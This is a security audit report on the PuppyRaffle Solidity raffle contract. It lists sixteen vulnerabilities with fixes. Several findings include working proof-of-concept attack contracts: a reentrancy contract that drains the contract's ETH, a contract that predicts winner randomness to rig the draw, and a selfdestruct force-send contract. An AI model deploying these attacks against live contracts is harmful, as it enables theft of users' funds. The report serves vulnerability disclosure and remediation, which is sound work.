Puppy-Raffle Audit Report

Prepared by: Srishti
Date: March 24, 2026
Version: 1.0

Table of Contents

- Puppy-Raffle Audit Report
  - Table of Contents
  - Protocol Summary
  - Disclaimer
  - Risk Classification
  - Audit Details
    - Scope
    - Roles
  - Executive Summary
    - Issues Found
  - Findings
  - High
    - [H-1] Potential loss of funds during prize pool distribution
      - Description
      - Impact
      - Recommended Mitigation
    - [H-2] Reentrancy vulnerability in `refund()` function
      - Description
      - Impact
      - Proof of Concept
      - Recommended Mitigation
    - [H-3] Predictable randomness in winner selection
      - Description
      - Impact
      - Proof of Concept

        - Recommended Mitigation
    * [H-4] `refund()` replacing index with `address(0)` causes `selectWinner()` to always revert
        - Description
        - Impact
        - Proof of Concept
        - Recommended Mitigation
    * [H-5] Integer overflow in `totalFees` due to `uint64` typecast
        - Description
        - Impact
        - Recommended Mitigation
    * [H-6] Overflow/underflow vulnerability for Solidity versions before 0.8.0
        - Description
        - Impact
        - Recommended Mitigation
    * [H-7] Potential front-running attack in `selectWinner` and `refund`
        - Description
        - Impact
        - Recommended Mitigation
- Medium
    * [M-1] Unbounded loop in `enterRaffle` enables denial-of-service attack
        - Description
        - Impact
        - Proof of Concept
        - Recommended Mitigation
    * [M-2] `selfdestruct` attack can permanently break `withdrawFees`
        - Description
        - Impact
        - Proof of Concept
        - Recommended Mitigation
    * [M-3] Raffle cannot complete if winner is a smart contract without a fallback
        - Description
        - Impact
        - Recommended Mitigation
- Low

* [L-1] Ambiguous return value from `getActivePlayerIndex` causes incorrect refund behavior
    - Description
    - Impact
    - Recommended Mitigation
* [L-2] Missing events for critical state changes in `selectWinner` and `withdrawFees`
    - Description
    - Impact
    - Recommended Mitigation
* [L-3] Rarity probabilities are misleading due to off-by-one error
    - Description
    - Impact
    - Recommended Mitigation
* [L-4] `selectWinner` should use > instead of >= for timing check
    - Description
    - Impact
    - Recommended Mitigation
* [L-5] Entrance fee overflow allows entry with zero payment
    - Description
    - Impact
    - Recommended Mitigation
* [L-6] Fee calculation should use subtraction to avoid rounding loss
    - Description
    - Impact
    - Recommended Mitigation

Protocol Summary

PuppyRaffle is a smart contract raffle protocol that allows users to enter by paying an entrance fee. After a set duration, a winner is selected pseudo-randomly and awarded the prize pool along with a minted Puppy NFT of randomised rarity. The protocol owner collects a 20% fee from each raffle round.

Disclaimer

> **Independent Security Review**
> Every effort was made to identify vulnerabilities within the allotted time. However, this report does not constitute an endorsement of the underlying business or product. The audit was time-boxed and focused solely on the security aspects of the Solidity implementation. The auditor assumes no responsibility for the findings presented herein.

Risk Classification

	Impact: High	Impact: Medium	Impact: Low
Likelihood: High	H	H/M	M
Likelihood: Medium	H/M	M	M/L
Likelihood: Low	M	M/L	L

Audit Details

Commit Hash

```
2a47715b30cf11ca82db148704e67652ad679cd8
```

Scope

```
./src/
PuppyRaffle.sol
```

Roles

- **Owner** — Deployer of the protocol, has the power to change the wallet address to which fees are sent through the `changeFeeAddress` function.

- **Players** — Participant of the raffle, has the power to enter the raffle with the `enterRaffle` function and refund value through `refund` function.

Executive Summary

The PuppyRaffle contract was reviewed for security vulnerabilities. The audit revealed seven High-severity findings, three Medium-severity findings, and six Low-severity findings. The High-severity issues collectively expose the protocol to fund loss, reentrancy drain, winner manipulation, and permanent denial of service. In its current state, the protocol's core functionality — fair winner selection and safe fund distribution — cannot be guaranteed.

> **Deployment to any live network is not recommended without addressing all High and Medium findings.**

Issues Found

Severity	Number of Issues
High	7
Medium	3
Low	6
Total	**16**

Findings

High

[H-1] Potential loss of funds during prize pool distribution

Severity: `HIGH`
Impact: HIGH · **Likelihood:** MEDIUM

Description In the `selectWinner` function, when a player has refunded, their slot in the `players` array is replaced with `address(0)`. There is no check preventing `address(0)` from being selected as the winner. If this slot is picked, the entire prize pool is transferred to the zero address and permanently lost.

Impact

> Complete loss of the prize pool. Funds sent to `address(0)` are irrecoverable.

Recommended Mitigation Add a check in `selectWinner` to skip or re-draw if the selected index resolves to `address(0)`. Alternatively, adopt the fix described in [H-4] which removes refunded slots from the array entirely.

[H-2] Reentrancy vulnerability in `refund()` function

Severity: `HIGH`
Impact: HIGH · **Likelihood:** HIGH

Description `PuppyRaffle::refund()` does not follow the Checks-Effects-Interactions (CEI) pattern. It sends ETH to `msg.sender` before updating the contract state, allowing a malicious contract to re-enter `refund` in its `fallback` function and drain the contract.

```
function refund(uint256 playerIndex) public {
    address playerAddress = players[playerIndex];
    require(playerAddress == msg.sender, "PuppyRaffle: Only the player can refund");
    require(playerAddress != address(0), "PuppyRaffle: Player already refunded, or is not active");

    payable(msg.sender).sendValue(entranceFee); // @audit external call before state update

    players[playerIndex] = address(0);          // state updated too late
    emit RaffleRefunded(playerAddress);
}
```

Impact

> An attacker can drain all ETH held by the `PuppyRaffle` contract in a single transaction.

Proof of Concept Attack Contract

```
// SPDX-License-Identifier: MIT
pragma solidity ^0.7.6;

import "./PuppyRaffle.sol";

contract AttackContract {
    PuppyRaffle public puppyRaffle;
    uint256 public receivedEther;

    constructor(PuppyRaffle _puppyRaffle) {
        puppyRaffle = _puppyRaffle;
    }

    function attack() public payable {
        require(msg.value > 0);
        address[] memory players = new address[](1);
        players[0] = address(this);
        puppyRaffle.enterRaffle{value: msg.value}(players);
    }

    fallback() external payable {
        if (address(puppyRaffle).balance >= msg.value) {
            receivedEther += msg.value;
            uint256 playerIndex = puppyRaffle.getActivePlayerIndex(
                address(this));
            if (playerIndex > 0) {
                puppyRaffle.refund(playerIndex);
            }
        }
    }
}
```

Recommended Mitigation Follow the CEI pattern — update state before making external calls:

```
function refund(uint256 playerIndex) public {
    address playerAddress = players[playerIndex];
    require(playerAddress == msg.sender, "PuppyRaffle: Only the player
        can refund");
    require(playerAddress != address(0), "PuppyRaffle: Player already
        refunded, or is not active");

    // Effects before Interactions
    players[playerIndex] = address(0);
    emit RaffleRefunded(playerAddress);
```

```

    (bool success, ) = payable(msg.sender).call{value: entranceFee}("")
        ;
    require(success, "PuppyRaffle: Failed to refund");
}
```

[H-3] Predictable randomness in winner selection

Severity: HIGH
Impact: HIGH · **Likelihood:** HIGH

Description The winner index is derived entirely from on-chain variables (`block.timestamp`, `block.difficulty`, and `msg.sender`), all of which are known or controllable at the time of the transaction. A malicious contract can compute the winning index off-chain and manipulate its own participation to guarantee selection.

Impact

> An attacker can guarantee themselves as the winner in every raffle round, stealing the prize pool and NFT from legitimate participants.

Proof of Concept Attack Contract

```
// SPDX-License-Identifier: No-License
pragma solidity 0.7.6;

interface IPuppyRaffle {
    function enterRaffle(address[] memory newPlayers) external payable;
    function getPlayersLength() external view returns (uint256);
    function selectWinner() external;
}

contract Attack {
    IPuppyRaffle raffle;

    constructor(address puppy) {
        raffle = IPuppyRaffle(puppy);
    }

    function attackRandomness() public {
        uint256 playersLength = raffle.getPlayersLength();
        uint256 winnerIndex;
```

```
        uint256 toAdd = playersLength;

        while (true) {
            winnerIndex = uint256(
                keccak256(abi.encodePacked(address(this), block.timestamp, block.difficulty))
            ) % toAdd;
            if (winnerIndex == playersLength) break;
            ++toAdd;
        }

        uint256 toLoop = toAdd - playersLength;
        address[] memory playersToAdd = new address[](toLoop);
        playersToAdd[0] = address(this);
        for (uint256 i = 1; i < toLoop; ++i) {
            playersToAdd[i] = address(i + 100);
        }

        raffle.enterRaffle{value: 1e18 * toLoop}(playersToAdd);
        raffle.selectWinner();
    }

    receive() external payable {}

    function onERC721Received(address, address, uint256, bytes calldata) public returns (bytes4) {
        return this.onERC721Received.selector;
    }
}
```

Recommended Mitigation Use Chainlink VRF to generate verifiably random numbers for winner selection. On-chain pseudo-randomness derived from block variables is not secure.

[H-4] `refund()` replacing index with `address(0)` causes `selectWinner()` to always revert

Severity: `HIGH`
Impact: HIGH · **Likelihood:** HIGH

Description `PuppyRaffle::refund` replaces a refunded player's slot with `address(0)` but does not reduce the length of the `players` array. As a result, `selectWinner` calculates `totalAmountCollected` using the inflated `players.length`, causing it to attempt to pay out more ETH than the contract holds. The call reverts, permanently breaking the raffle.

```
uint256 totalAmountCollected = players.length * entranceFee; // includes address(0) slots
uint256 prizePool = (totalAmountCollected * 80) / 100;

(bool success,) = winner.call{value: prizePool}("");
require(success, "PuppyRaffle: Failed to send prize pool to winner");
_safeMint(winner, tokenId); // also reverts if winner == address(0)
```

Impact

> After any refund, `selectWinner` will always revert. The raffle is permanently shut down. While users can recover their funds via `refund`, the protocol is rendered non-functional.

Proof of Concept

```
function testWinnerSelectionRevertsAfterExit() public playersEntered {
    vm.warp(block.timestamp + duration + 1);
    vm.roll(block.number + 1);

    vm.prank(playerFour);
    puppyRaffle.refund(3);

    vm.expectRevert();
    puppyRaffle.selectWinner();

    vm.deal(address(puppyRaffle), 10 ether);
    vm.expectRevert("ERC721: mint to the zero address");
    puppyRaffle.selectWinner();
}
```

Run with: `forge test --mt testWinnerSelectionRevertsAfterExit -vvvv`

Recommended Mitigation Swap the refunded player with the last array element and pop the array:

```
- players[playerIndex] = address(0);
+ players[playerIndex] = players[players.length - 1];
+ players.pop();
```

[H-5] Integer overflow in `totalFees` due to `uint64` typecast

Severity: HIGH
Impact: HIGH · **Likelihood:** MEDIUM

Description In `selectWinner()`, the collected fee is cast from `uint256` to `uint64` before being added to `totalFees`. If `fee` exceeds `type(uint64).max` ($2^{64} - 1 \approx 18.4$ ETH), the value silently wraps around and `totalFees` is corrupted.

```
totalFees = totalFees + uint64(fee);
```

Impact

> Protocol fees are permanently under-counted. The owner may be unable to withdraw the correct amount of accumulated fees.

Recommended Mitigation Change `totalFees` to `uint256` and remove the unsafe cast:

```
- uint64 public totalFees = 0;
+ uint256 public totalFees = 0;

- totalFees = totalFees + uint64(fee);
+ totalFees = totalFees + fee;
```

[H-6] Overflow/underflow vulnerability for Solidity versions before 0.8.0

Severity: `HIGH`
Impact: HIGH · **Likelihood:** HIGH

Description `PuppyRaffle.sol` uses Solidity `^0.7.6`, which has no built-in overflow or underflow protection. Any arithmetic result that exceeds the bounds of its integer type silently wraps to an incorrect value, affecting prize pool calculations, fee computations, and entrance fee checks throughout the contract.

Impact

> Incorrect arithmetic throughout the contract leads to wrong prize distributions, corrupted fee balances, and potential fund loss for both players and the protocol owner.

Recommended Mitigation Import and apply OpenZeppelin's `SafeMath` library for all arithmetic:

```
import "@openzeppelin/contracts/math/SafeMath.sol";

// Inside contract:
```

```
using SafeMath for uint256;

// In enterRaffle():
uint256 totalEntranceFee = newPlayers.length.mul(entranceFee);
require(msg.value == totalEntranceFee, "PuppyRaffle: Must send enough
    to enter raffle");

// In selectWinner():
uint256 totalAmountCollected = players.length.mul(entranceFee);
uint256 prizePool = totalAmountCollected.mul(80).div(100);
uint256 fee = totalAmountCollected.mul(20).div(100);
totalFees = totalFees.add(fee);
```

Alternatively, upgrade the compiler to `>=0.8.0` where overflow and underflow revert by default.

[H-7] Potential front-running attack in `selectWinner` and `refund`

Severity: `HIGH`
Impact: HIGH · **Likelihood:** MEDIUM

Description Because the blockchain mempool is public, a malicious actor can monitor pending `selectWinner` transactions and front-run them by submitting a `refund` transaction with a higher gas price. This enables two distinct attacks:

1. **Avoid participation loss** — If the attacker is not the predicted winner, they refund before `selectWinner` executes and recover their entrance fee.
2. **Steal owner fees** — By reducing the active player count just before `selectWinner`, the attacker causes `totalAmountCollected` to be calculated incorrectly, potentially draining fees that belong to the protocol owner.

Impact

> Unfair manipulation of winner selection outcomes and potential theft of protocol fees, resulting in financial losses for both the owner and legitimate participants.

Recommended Mitigation Implement a time-lock that closes the refund window before the raffle ends — for example, preventing `refund` calls once `block.timestamp >= raffleStartTime + raffleDuration`. This ensures the player set is frozen before winner selection can occur.

Medium

[M-1] Unbounded loop in `enterRaffle` enables denial-of-service attack

Severity: MEDIUM
Impact: MEDIUM · **Likelihood:** HIGH

Description `PuppyRaffle::enterRaffle` performs a nested $O(n^2)$ loop over the entire `players` array to detect duplicates. Gas costs grow quadratically with the number of players, making entry prohibitively expensive for later participants and enabling a targeted DoS attack.

```
// @audit DoS attack
for (uint256 i = 0; i < players.length - 1; i++) {
    for (uint256 j = i + 1; j < players.length; j++) {
        require(players[i] != players[j], "PuppyRaffle: Duplicate player");
    }
}
```

Impact

> Gas costs for the second batch of 100 players are more than 3× higher than the first. An attacker can bloat the array until entry becomes economically impossible for legitimate users, effectively guaranteeing their own win.

Proof of Concept

```
function test_denialOfService() public {
    uint256 playersNum = 100;

    address[] memory players = new address[](playersNum);
    for (uint256 i = 0; i < playersNum; i++) {
        players[i] = address(uint160(i + 1));
    }
    uint256 gasStart = gasleft();
    puppyRaffle.enterRaffle{value: entranceFee * players.length}(players);
    uint256 gasUsedFirst = gasStart - gasleft();
    // ~6,523,125 gas

    address[] memory playersTwo = new address[](playersNum);
    for (uint256 i = 0; i < playersNum; i++) {
        playersTwo[i] = address(uint160(i + 1 + playersNum));
```

```
    }
    uint256 gasStartSecond = gasleft();
    puppyRaffle.enterRaffle{value: entranceFee * playersTwo.length}(playersTwo);
    uint256 gasUsedSecond = gasStartSecond - gasleft();
    // ~18,995,458 gas

    assertGt(gasUsedSecond, gasUsedFirst);
}
```

Recommended Mitigation Replace the nested loop with a mapping for O(1) duplicate detection:

```
+ uint256 public raffleID;
+ mapping(address => uint256) public usersToRaffleId;

function enterRaffle(address[] memory newPlayers) public payable {
    require(msg.value == entranceFee * newPlayers.length, "...");
    for (uint256 i = 0; i < newPlayers.length; i++) {
+       require(usersToRaffleId[newPlayers[i]] != raffleID, "PuppyRaffle: Already a participant");
        players.push(newPlayers[i]);
+       usersToRaffleId[newPlayers[i]] = raffleID;
    }
-   for (uint256 i = 0; i < players.length - 1; i++) {
-       for (uint256 j = i + 1; j < players.length; j++) {
-           require(players[i] != players[j], "PuppyRaffle: Duplicate player");
-       }
-   }
    emit RaffleEnter(newPlayers);
}

function selectWinner() external {
    // existing code ...
+   raffleID = raffleID + 1;
}
```

[M-2] `selfdestruct` attack can permanently break `withdrawFees`

Severity: `MEDIUM`

Impact: HIGH · **Likelihood:** LOW

Description `withdrawFees` uses a strict balance equality check:

```
require(address(this).balance == uint256(totalFees), "PuppyRaffle: There are currently players active!");
```

An attacker can force-send ETH to the contract via a `selfdestruct` call, permanently breaking this equality and making `withdrawFees` uncallable.

Impact

> All protocol fees — past and future — are permanently locked in the contract with no recovery path.

Proof of Concept

```
contract Kill {
    constructor(address target) payable {
        selfdestruct(payable(target));
    }
}
```

Deploying this contract with any ETH value and targeting `PuppyRaffle` permanently breaks `withdrawFees`. Running `testWithdrawFees()` after this setup produces:

```
[FAIL. Reason: PuppyRaffle: There are currently players active!]
```

Recommended Mitigation Remove the `address(this).balance` equality check and track fees via `totalFees` alone:

```
function withdrawFees() external {
-   require(address(this).balance == uint256(totalFees), "PuppyRaffle: There are currently players active!");
    uint256 feesToWithdraw = totalFees;
    totalFees = 0;
    (bool success,) = feeAddress.call{value: feesToWithdraw}("");
    require(success, "PuppyRaffle: Failed to withdraw fees");
}
```

[M-3] Raffle cannot complete if winner is a smart contract without a fallback

Severity: `MEDIUM`
Impact: HIGH · **Likelihood:** LOW

Description If a smart contract address is entered as a player and subsequently selected as the winner, the ETH transfer in `selectWinner` will revert if the winning contract does not implement `receive()` or `fallback()`. This permanently blocks winner selection.

Impact

> The raffle cannot conclude. Players can still recover funds via `refund()`, but the protocol's core function is broken for that round.

Recommended Mitigation Restrict raffle entries to Externally Owned Accounts (EOAs) using OpenZeppelin's `Address` library:

```
function enterRaffle(address[] memory newPlayers) public payable {
    require(msg.value == entranceFee * newPlayers.length, "...");
    for (uint256 i = 0; i < newPlayers.length; i++) {
        require(!Address.isContract(newPlayers[i]), "PuppyRaffle:
            Players must be EOAs");
        players.push(newPlayers[i]);
    }
    // ...
}
```

Low

[L-1] Ambiguous return value from `getActivePlayerIndex` causes incorrect refund behavior

Severity: `LOW`
Impact: LOW · **Likelihood:** HIGH

Description `getActivePlayerIndex` returns `0` when an address is not found in the `players` array — identical to a valid first-index result. Calling logic that does not account for this cannot distinguish between "player is at index 0" and "player does not exist", leading to incorrect refund attempts.

Impact

> Inadvertent refund of the first player's entry when querying a non-existent address, and excessively high gas fees if called before any players are enrolled.

Recommended Mitigation Return −1 as `int256` for the not-found case:

```
+ int256 public constant INDEX_NOT_FOUND = -1;

- function getActivePlayerIndex(address player) external view returns (uint256) {
+ function getActivePlayerIndex(address player) external view returns (int256) {
    for (uint256 i = 0; i < players.length; i++) {
        if (players[i] == player) {
            return int256(i);
        }
    }
-   return 0;
+   return INDEX_NOT_FOUND;
}
```

[L-2] Missing events for critical state changes in `selectWinner` and `withdrawFees`

Severity: `LOW`
Impact: LOW · **Likelihood:** HIGH

Description Neither `selectWinner` nor `withdrawFees` emit events for their critical state transitions — winner selection and fee withdrawal respectively. This makes off-chain monitoring, indexing, and auditing impossible.

Impact

> No runtime impact. Off-chain tooling and monitoring systems cannot track protocol activity reliably.

Recommended Mitigation

- Add a `WinnerSelected(address indexed winner, uint256 indexed tokenId)` event emitted at the end of `selectWinner`.
- Add a `FeesWithdrawn(uint256 amount)` event emitted at the end of `withdrawFees`.

[L-3] Rarity probabilities are misleading due to off-by-one error

Severity: LOW
Impact: LOW · **Likelihood:** HIGH

Description The rarity constants imply a 70% / 25% / 5% distribution, but the <= comparison in `selectWinner` shifts the actual distribution to 71% / 25% / 4%.

```
// rarity range is [0, 99] inclusive
if (rarity <= COMMON_RARITY) {                // [0-70] = 71 values -> 71%
} else if (rarity <= COMMON_RARITY + RARE_RARITY) { // [71-95] = 25 values -> 25%
} else {                                      // [96-99] = 4 values  -> 4%
```

Impact

> Players are misled about their actual probability of receiving a Legendary NFT (4% versus the advertised 5%).

Recommended Mitigation Use strict less-than comparisons:

```
- if (rarity <= COMMON_RARITY) {
+ if (rarity < COMMON_RARITY) {
      tokenIdToRarity[tokenId] = COMMON_RARITY;
- } else if (rarity <= COMMON_RARITY + RARE_RARITY) {
+ } else if (rarity < COMMON_RARITY + RARE_RARITY) {
      tokenIdToRarity[tokenId] = RARE_RARITY;
  } else {
      tokenIdToRarity[tokenId] = LEGENDARY_RARITY;
  }
```

[L-4] `selectWinner` should use > instead of >= for timing check

Severity: LOW
Impact: LOW · **Likelihood:** LOW

Description The current timing check allows `selectWinner` to be called in the same block that the raffle ends:

```
require(block.timestamp >= raffleStartTime + raffleDuration, "
    PuppyRaffle: Raffle not over");
```

This creates an edge case where the winner can be selected while the raffle is technically still active, and exposes potential miner or MEV-bot manipulation.

Impact

> Edge case where winner selection occurs in the same block the raffle ends. Unlikely in normal operation but exploitable by miners or MEV bots targeting this condition.

Recommended Mitigation

```
- require(block.timestamp >= raffleStartTime + raffleDuration, "
    PuppyRaffle: Raffle not over");
+ require(block.timestamp > raffleStartTime + raffleDuration, "
    PuppyRaffle: Raffle not over");
```

[L-5] Entrance fee overflow allows entry with zero payment

Severity: LOW
Impact: MEDIUM · **Likelihood:** LOW

Description `enterRaffle` does not guard against overflow in the entrance fee multiplication:

```
require(msg.value == entranceFee * newPlayers.length, "PuppyRaffle:
    Must send enough to enter raffle");
```

If `entranceFee * newPlayers.length` exceeds `type(uint256).max`, the product wraps to a small value — potentially zero — and the attacker enters many times for free.

Impact

> An attacker gains a disproportionate number of raffle entries at no cost and can profit further by refunding all positions.

Recommended Mitigation Use OpenZeppelin's `SafeMath` library to guard the multiplication, or upgrade the compiler to `>=0.8.0` where overflow reverts by default.

[L-6] Fee calculation should use subtraction to avoid rounding loss

Severity: `LOW`
Impact: LOW · **Likelihood:** MEDIUM

Description Both `prizePool` and `fee` are computed independently via division, which can introduce separate rounding errors causing `prizePool + fee < totalAmountCollected`. The difference is silently lost.

```
uint256 prizePool = (totalAmountCollected * 80) / 100;
uint256 fee = (totalAmountCollected * 20) / 100;
```

Impact

> Small amounts of ETH may be permanently lost per raffle round due to integer division rounding.

Recommended Mitigation Calculate `fee` as the remainder after computing `prizePool` to ensure no funds are lost:

```
  uint256 prizePool = (totalAmountCollected * 80) / 100;
- uint256 fee = (totalAmountCollected * 20) / 100;
+ uint256 fee = totalAmountCollected - prizePool;
```

Report generated by Srishti · March 24, 2026